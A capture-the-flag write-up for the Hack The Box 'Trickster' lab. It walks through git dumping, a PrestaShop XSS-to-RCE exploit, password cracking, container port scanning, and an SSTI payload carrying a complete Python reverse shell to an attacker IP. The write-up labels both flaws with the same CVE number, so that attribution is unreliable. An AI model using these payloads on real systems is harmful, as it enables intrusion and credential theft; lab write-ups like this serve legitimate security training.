HTB Writeup - Trickster
Enumeration
As usual, start off with an nmap scan to get a listing of open ports and running services on the target host.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 8c:01:0e:7b:b4:da:b7:2f:bb:2f:d3:a3:8c:a6:6d:87 (ECDSA)
|_ 256 90:c6:f3:d8:3f:96:99:94:69:fe:d3:72:cb:fe:6c:c5 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://trickster.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: _; OS: Linux; CPE: cpe:/o:linux:linux_kernel
The host is running a typical web server setup on Linux; port 22 for remote administration via SSH and port 80 for an Apache web server. The banner grabbing suggest that trickster.htb should be added to our /etc/hosts.
Additionally, start to kick of directory busting using:
feroxbuster -u http://trickster.htb/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
And vhost enumeration using:
ffuf -w /opt/SecLists/Discovery/DNS/dns-Jhaddix.txt:FUZZ -u http://trickster.htb/ -H 'Host: FUZZ.trickster.htb' -t 40 -fw 20
Looking around at the main page at http://trickster.htb doesn’t reveal much initially but there is a link to shop.trickster.htb so this must be added to the /etc/hosts file as well.
The shop.trickster.htb is a typical web store front with a bunch of products on sale. The website seems incomplete due to some lorum ipsum text in parts of the page. Scrolling to the bottom reveals it is powered by some technology called PrestaShop, https://www.prestashop-project.org/, which is an open-source solution for building e-commerce web applications.
feroxbuster reveals that there is a .git directory at the root of shop.trickster.htb. We can use a tool like git-dumper (https://github.com/arthaud/git-dumper) to download everything from this Git repository.
python3 git_dumper.py http://shop.trickster.htb/.git/ trickster_git -t 360
I used a timeout of 360 seconds because it kept failing with anything smaller. My guess is that the box does not handle load very well. I stored the results in the trickster_git folder.
One thing we can glean from this is that the version of the PrestaShop application is 8.1.5 which means it is potentially vulnerable to https://ayoubmokhtar.com/post/png_driven_chain_xss_to_remote_code_execution_prestashop_8.1.5_cve-2024-34716/
Exploiting CVE-2024-34716
We can follow along entirely with the example exploit PoC, firstly starting with:
git clone [email protected]:aelmokhtar/CVE-2024-34716_PoC.git
There are many modifications needed to make this exploit work.
- Update the
reverse_shell.phpfile with your IP and intended reverse shell port, then update the zip theme with this file using:
zip ps_next_8_theme_malicious.zip reverse_shell.php
- Edit
exploit.pyand take note of the intended web port for serving the zip file (or change it to a known one). - (Optional) change
ncattonc - Edit
exploit.htmland make sure it contains your IP, port and the correct admin path taken from inside the.gitrepository (hint: it’s the obvious weird looking directory).
Then we can run the exploit like so:
python3 exploit.py http://shop.trickster.htb '[email protected]' 'Help' ./exploit.html
And voila, we have a shell running as the www-data user. Since this application must run a database, the first thing we should do is check for DB credentials and get access to the stored data. Looking at the documentation for PrestaShop reveals that it will have a parameters.php file with the info we want. We can simply cat this find this file and cat it’s contents to know the password for the DB for the ps_user account.
In the database, we can simply run:
use prestashop;
select email, passwd from ps_employees;
To get the root account and the james account hash. We can also see in the machine that james is a local user so it’s probably the same dude. Cracking the password is trivial with hashcat:
hashcat -O -m 3200 hash /usr/share/wordlists/rockyou.txt
With the cracked password for the james account, we can then SSH into the machine and collect the first flag.
Privilege Escalation
Running ip a shows that there is a docker0 interface with the IPv4 address of 172.17.0.1.
3: docker0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:f5:a7:06:a3 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
valid_lft forever preferred_lft forever
Typically, docker adds new addresses sequentially, so if there is a container running, it’s likely on 172.17.0.2. We can use a ping to determine if there is a host there:
ping -c 1 172.17.0.2
We get the result of:
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.136 ms
--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.136/0.136/0.136/0.000 ms
There is a host running there, but we don’t know what this is. We aren’t in the docker group so we can work out easily what is being run. To interact with it, we can do a port scan as well:
for port in {1..10000}; do
(echo > /dev/tcp/172.17.0.2/$port) >/dev/null 2>&1 && echo "$port Open" &
done
We get told 5000 Open so let’s do a local port forward to expose the port back to our attack host:
ssh -L 5000:172.17.0.2:5000 james@$target
Going to http://localhost:5000 reveals a changedetection.io site with a prompt for a password. We only know james so we can try that. It happens to work!
This application has a known vulnerability, CVE-2024-34716 which is an SSTI in the notification part of the watch functionality. We can stand up a web server using python:
python3 -m http.server 9091
We can then use our web server as the target URL of the new watch. When we edit the watch, we can edit the notification settings to set the notification URL to be gets:// and then change the notification body to be:
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.82\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
Triggering the watch, and touching a file in the web server directory will trigger the exploit. We can catch the shell the usual way with nc.
We get a shell as root inside the container. We can see the bash_history file is not symlinked to /dev/null so the container does have history of commands being run on the container. It looks like someone made a mistake when entering their password and entered it directly into the command line…
We can take this password and try to su root on the main host and we are successful! The root account’s password has been reused inside the container, and accidentally found it’s way into the .bash_history file.